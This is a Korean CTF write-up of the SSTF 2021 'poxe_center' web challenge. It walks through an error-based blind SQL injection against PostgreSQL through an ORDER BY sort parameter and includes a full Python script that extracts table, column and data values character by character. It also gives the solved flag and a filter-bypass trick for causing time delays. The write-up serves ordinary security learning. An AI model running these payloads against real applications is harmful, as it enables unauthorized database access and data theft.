[Study] Hacker's Playground 2021(SSTF) poxe_center Writeup
이번 SSTF Hacker's Playground 2021 는 웹 문제 가뭄이었다.. 다른 WEB 태그가 달린 문제는 사실상 Pwn이었다.
이 문제는 유일하게 WEB 스러운(?) 문제였는데 문제가 늦게 나와서 업무시간과 겹치는 바람에 대회 기간내에는 집중해서 풀지 못했었다.
그래서, 대회는 종료되었지만 이 문제를 풀어보았다.
전설의 포켓몬을 잡으라는 문제인듯 하다. 주어진 페이지에 접속해보자.
http://poxecenter.sstf.site:31888/demo/getGochaList?sortName=full_name&sortFlag=desc
위와 같은 URL이 호출되면서 Gatcha list 라는 페이지가 안내된다.
파라미터 이름과 내용을 보니 ~~~ ORDER BY {sortName} {sortFlag} 형식의 sql 구문 같다는 추측이 가능했다.
실제로, sortName에 11을 입력하면 페이지가 정상 출력되는데 반해,
12를 입력하면 에러 페이지가 나타난다.
구문이나 주석 등 테스트로 미루어봤을 때 Mysql이라고 생각했는데, 급한 마음에 Mysql이라고 가정해버린것이 패착이었던 것 같다.
(if 구문, sleep() 등이 안되었을 때 다른 종류일것이라고는 생각하지 못했고 필터링이 걸려있는 줄 알았다..)
sqlmap을 활용하여 해당 문제 환경이 Mysql이 아닌 PostgreSQL 임을 확인 할 수 있었다.
sqlmap을 활용해서 문제 해결을 이어나가볼까 했지만, 잘 되지 않아 직접 공격 쿼리를 작성해서 공격을 시도해보기로 했다.
공격 방식은 Error based 로,
select 1 from pg_user where ~~
형식의 구문을 활용하기로 했다.
1. select 1 from pg_user // Error!
2. select 1 from pg_user limit 1 // Non-Error!
해당 페이지의 두 구문을 테스트해봤을때 첫 번째 구문은 결과값이 여러개이기 때문에 에러가 발생하고, 두번째 구문은 에러가 나지 않는다.
따라서 where 절에 원하는 조건문을 기입하고 유효 할 시에 첫 번째 구문이 실행되기 때문에 에러가 발생할 것이다.
즉, "where 조건 만족 시 에러가 발생함" 을 활용한 Error based SQL Injection 공격을 시도해보자.
문제 풀이 방식은
[Clear] HSCTF 8 web/big-blind Writeup
대회에서 되게 오랜만이었던 Sql-injection 문제였다. 문제 이름괴 주어진 페이지에 로그인 창이 있는 것으로 보아 blind sql injection 문제임을 유추 할 수 있다. 우선 DB의 종류를 파악해보자. 위 자료
vardy.tistory.com
와 비슷했다.
다만, 환경이 PostgreSQL 이었으므로 활용되는 구문이 조금 달라진 정도였다.
문제를 해결한 expoloit code는 아래와 같다.
import requests, time, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%()*+,-./:;<=>?@[\]^_`{|}~'
#db_name =''
table_list=[]
column_list=[]
data_list=[]
for k in range(300) : ## edit plz
table_name=''
column_name=''
data=''
for i in range(50) :
for j in string :
url = "http://poxecenter.sstf.site:31888/demo/getGochaList?sortName="
#db
##db_name = pokedb
#query = "(select 1 from pg_user where substr(current_database(),"+str(i+1)+",1)='"+j+"')&sortFlag="
#tables
#table_name = poke_info ?
#query = "(select 1 from pg_user where substr((select table_name from information_schema.tables limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
#column_name = name -> X / first_attribute -> X / second_attribute ?
#query = "(select 1 from pg_user where substr((select column_name from information_schema.columns where table_name='poke_info' limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
#data
#query = "(select 1 from pg_user where substr((select name from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
query = "(select 1 from pg_user where substr((select distinct second_attribute from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag="
url += query
#print(url)
try:
response = requests.get(url, verify=False, timeout=3)
if "500" in str(response) :
#print("hit!")
#print(url)
#db
#db_name +=j
#print("* db name : "+db_name)
#table
#table_name+=j
#column
#column_name+=j
#data
data+=j
break
else :
#print(response)
pass
except requests.Timeout:
print("time_error!")
break
#table_list.append(table_name)
#print(table_list)
#column_list.append(column_name)
#print(column_list)
#data_list.append(data)
#print(data)
주석의 내용을 고쳐가면서
DB 정보 -> table 정보 -> column 정보 -> 데이터(FLAG)
순서로 정보를 획득해나가면 된다.
postgreSQL 환경이었기 때문에 특수한 구문을 활용해야 하는 경우가 있었다.
user -> pg_user
database() -> current_database()
sleep() -> pg_sleep()
length() -> char_length() 등등..
postgreSQL 이 익숙하지는 않았지만 어렵게 얻을 수 있는 정보는 아니었기 때문에 구글링을 활용하면서 문제를 해결해 나갔다.
문제 해결 과정을 살펴보면
FLAG = SCTF{G0tcH4_Gh0sT_c4t_iS_L3G3ND4Ry_P0k3}
----------------------------------------------------------------------------------------------------------------------
++ Mysql인줄 알고 삽질하다가 얻은 정보인데 추후에 쓰일 수도 있을 것 같아서 공유한다.
time based 공격이 필수적일때 sleep(), benchmark() 가 필터링되어있다면
(select count(*) from information_schema.columns A, information_schema.columns B)
구문을 통해 시간 지연 가능
https://jacksimon86.tistory.com/47?category=953645
sfw3 (time based SQL injection)
sfw3번입니다. 이 문제를 처음 풀 때는 sleep, benchmark 함수가 필터링으로 막혀있길래 저는 당연히 에러 기반 sql injection 문제로 알고 삽질을 했습니다. 하지만 아무리 에러 기반으로 풀어도 별다른
jacksimon86.tistory.com